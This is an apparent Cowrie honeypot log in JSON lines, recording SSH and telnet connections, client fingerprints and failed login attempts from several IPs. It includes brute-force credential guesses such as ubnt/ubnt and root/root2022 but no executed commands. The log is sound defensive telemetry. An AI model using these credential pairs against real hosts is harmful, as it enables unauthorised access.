{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:de:b4:59:19:af:8e:c5:1b:38:1e:ac:68:14:69:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa4SvjpeL1hUBZTSYZZ8yPXtFxIMnqkl8sVvOlOz9tdGIqQ13Q1oGEanaUeLOqzXXrAAQh/gxvcMsn7lIzIyBWFuG4nggVdNmVye8R5rJgMOYob6rNY2kOyWQ+1vEy1oR5bxFMwvu/CJEaJJnIh4VblubmBoec/hcJjhAeMv9/O1lc2ucFM3Qt1kgMGJo+n9pbfYU847pJiVsdQsekYBDxIlT/Y6QtkuBQDmsHq6a0u14HK2jnFDvqL4g48PR9xHeuD2SyL5t4RNL9X9xUZ+5bAc8YQ7W06LwTCoXtZz7BlE4UR4pgWpbb9m0n15tabL/goLeEmBWXXDmID8utIrlKEQdnAd6c+zyyixFG8zMnwCUvzreVC0AtA3Tas1LQbw1S34jGGVf9HwOTd/u8hbY7TMad20qIkD62hzorJclmDPkZKbkd0xbCnskS/d728TyZLCzigkzrQ8PC8PLSzLyy93rWgR9v0Gp9338P2PAJ9x7HPwNcgDVOIlMbwHIoHl8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.789122Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:38:3f:79:30:d0:2a:d1:a6:8d:57:6a:24:ae:c7:fa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEk/ASbT6kct9mS5eNfUkOxN1Ubr2qUQoLvm8GXK2XWr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 76:38:3f:79:30:d0:2a:d1:a6:8d:57:6a:24:ae:c7:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.797053Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:38:3f:79:30:d0:2a:d1:a6:8d:57:6a:24:ae:c7:fa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEk/ASbT6kct9mS5eNfUkOxN1Ubr2qUQoLvm8GXK2XWr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.801023Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:13:64:3e:8c:e8:17:cd:51:22:a7:a9:17:a9:30:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI7xu/Kbuia8UJxztzSfNr3UW40+egl3HmRM7Lc2VnFIbPaxnbk1H9S40h6i07M5WAYN6w0fMkiR8o1sb6ltsx5hArIHPJZ1Kai5ZnPEv31ALONq/epA/W7NpQV6Mrs/KBB8MNaRXC7bfeQnSZoEvuqjcORhQ32A3iT65JOHhMQTmr+OUM/U7pZ0sk6nAnSX28W3RKJ6Vv0lmldqW7ipaw4BLh+aeME71iKiPnaVY94etHHbBH9D4KmMvSvhhDEbklC1vl01TjWzvzgFUTrqNtYQodVxLufjW+/17m6Jo1jBp7WiSpPhSF3wGx6ZrYXo4x7KiIIZ3E1drEtGC2kjA3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:13:64:3e:8c:e8:17:cd:51:22:a7:a9:17:a9:30:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.808108Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:13:64:3e:8c:e8:17:cd:51:22:a7:a9:17:a9:30:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI7xu/Kbuia8UJxztzSfNr3UW40+egl3HmRM7Lc2VnFIbPaxnbk1H9S40h6i07M5WAYN6w0fMkiR8o1sb6ltsx5hArIHPJZ1Kai5ZnPEv31ALONq/epA/W7NpQV6Mrs/KBB8MNaRXC7bfeQnSZoEvuqjcORhQ32A3iT65JOHhMQTmr+OUM/U7pZ0sk6nAnSX28W3RKJ6Vv0lmldqW7ipaw4BLh+aeME71iKiPnaVY94etHHbBH9D4KmMvSvhhDEbklC1vl01TjWzvzgFUTrqNtYQodVxLufjW+/17m6Jo1jBp7WiSpPhSF3wGx6ZrYXo4x7KiIIZ3E1drEtGC2kjA3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.812682Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.820246Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:57.123142Z","src_ip":"116.110.220.181","session":"2c82c5ea9b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:00.519482Z","src_ip":"116.110.220.181","session":"2c82c5ea9b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:04.272847Z","src_ip":"116.110.220.181","session":"2c82c5ea9b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.774658203125,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:09.924570Z","src_ip":"212.55.149.117","session":"54d8d5a09be2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49140,"dst_ip":"10.17.0.5","dst_port":22,"session":"f39c3e456d8e","protocol":"ssh","message":"New connection: 103.15.226.202:49140 (10.17.0.5:22) [session: f39c3e456d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:34.623832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:34.629192Z","src_ip":"103.15.226.202","session":"f39c3e456d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:34.877728Z","src_ip":"103.15.226.202","session":"f39c3e456d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2022","message":"login attempt [root/root2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:35.624553Z","src_ip":"103.15.226.202","session":"f39c3e456d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:36.875959Z","src_ip":"103.15.226.202","session":"f39c3e456d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.51959276199341,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:37.580911Z","src_ip":"212.55.149.117","session":"21436208f318","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":36129,"dst_ip":"10.17.0.5","dst_port":22,"session":"a75f16998b26","protocol":"ssh","message":"New connection: 2.57.121.112:36129 (10.17.0.5:22) [session: a75f16998b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:38.016570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:38.021401Z","src_ip":"2.57.121.112","session":"a75f16998b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":35724,"dst_ip":"10.17.0.5","dst_port":23,"session":"62233cd54d4c","protocol":"telnet","message":"New connection: 212.55.149.117:35724 (10.17.0.5:23) [session: 62233cd54d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:38.106375Z"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:38.126324Z","src_ip":"2.57.121.112","session":"a75f16998b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"philmont","message":"login attempt [admin/philmont] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:38.615818Z","src_ip":"2.57.121.112","session":"a75f16998b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"phase1","message":"login attempt [admin/phase1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:39.722816Z","src_ip":"2.57.121.112","session":"a75f16998b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pharoh","message":"login attempt [admin/pharoh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:40.834243Z","src_ip":"2.57.121.112","session":"a75f16998b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":45210,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea9beb521ea","protocol":"ssh","message":"New connection: 116.110.220.181:45210 (159.203.135.109:22) [session: aea9beb521ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:41.265281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:41.270699Z","src_ip":"116.110.220.181","session":"aea9beb521ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:41.562825Z","src_ip":"116.110.220.181","session":"aea9beb521ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pfeiffer","message":"login attempt [admin/pfeiffer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:41.941211Z","src_ip":"2.57.121.112","session":"a75f16998b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"petros","message":"login attempt [admin/petros] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:43.048992Z","src_ip":"2.57.121.112","session":"a75f16998b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:44.156272Z","src_ip":"2.57.121.112","session":"a75f16998b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:44.320816Z","src_ip":"116.110.220.181","session":"aea9beb521ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41842,"dst_ip":"10.17.0.5","dst_port":22,"session":"644bf7ef85cc","protocol":"ssh","message":"New connection: 193.32.162.145:41842 (10.17.0.5:22) [session: 644bf7ef85cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:45.893489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:45.898747Z","src_ip":"193.32.162.145","session":"644bf7ef85cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:46.005362Z","src_ip":"193.32.162.145","session":"644bf7ef85cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:46.284524Z","src_ip":"116.110.220.181","session":"aea9beb521ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sollet","message":"login attempt [solana/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:46.323662Z","src_ip":"193.32.162.145","session":"644bf7ef85cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.2516233921051,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:47.328048Z","src_ip":"212.55.149.117","session":"19a30dbbc97d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:38:47.436501Z","src_ip":"193.32.162.145","session":"644bf7ef85cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":48604,"dst_ip":"10.17.0.5","dst_port":22,"session":"50545e58a96c","protocol":"ssh","message":"New connection: 2.57.122.210:48604 (10.17.0.5:22) [session: 50545e58a96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:39:30.063918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:39:30.069317Z","src_ip":"2.57.122.210","session":"50545e58a96c","protocol":"ssh"}
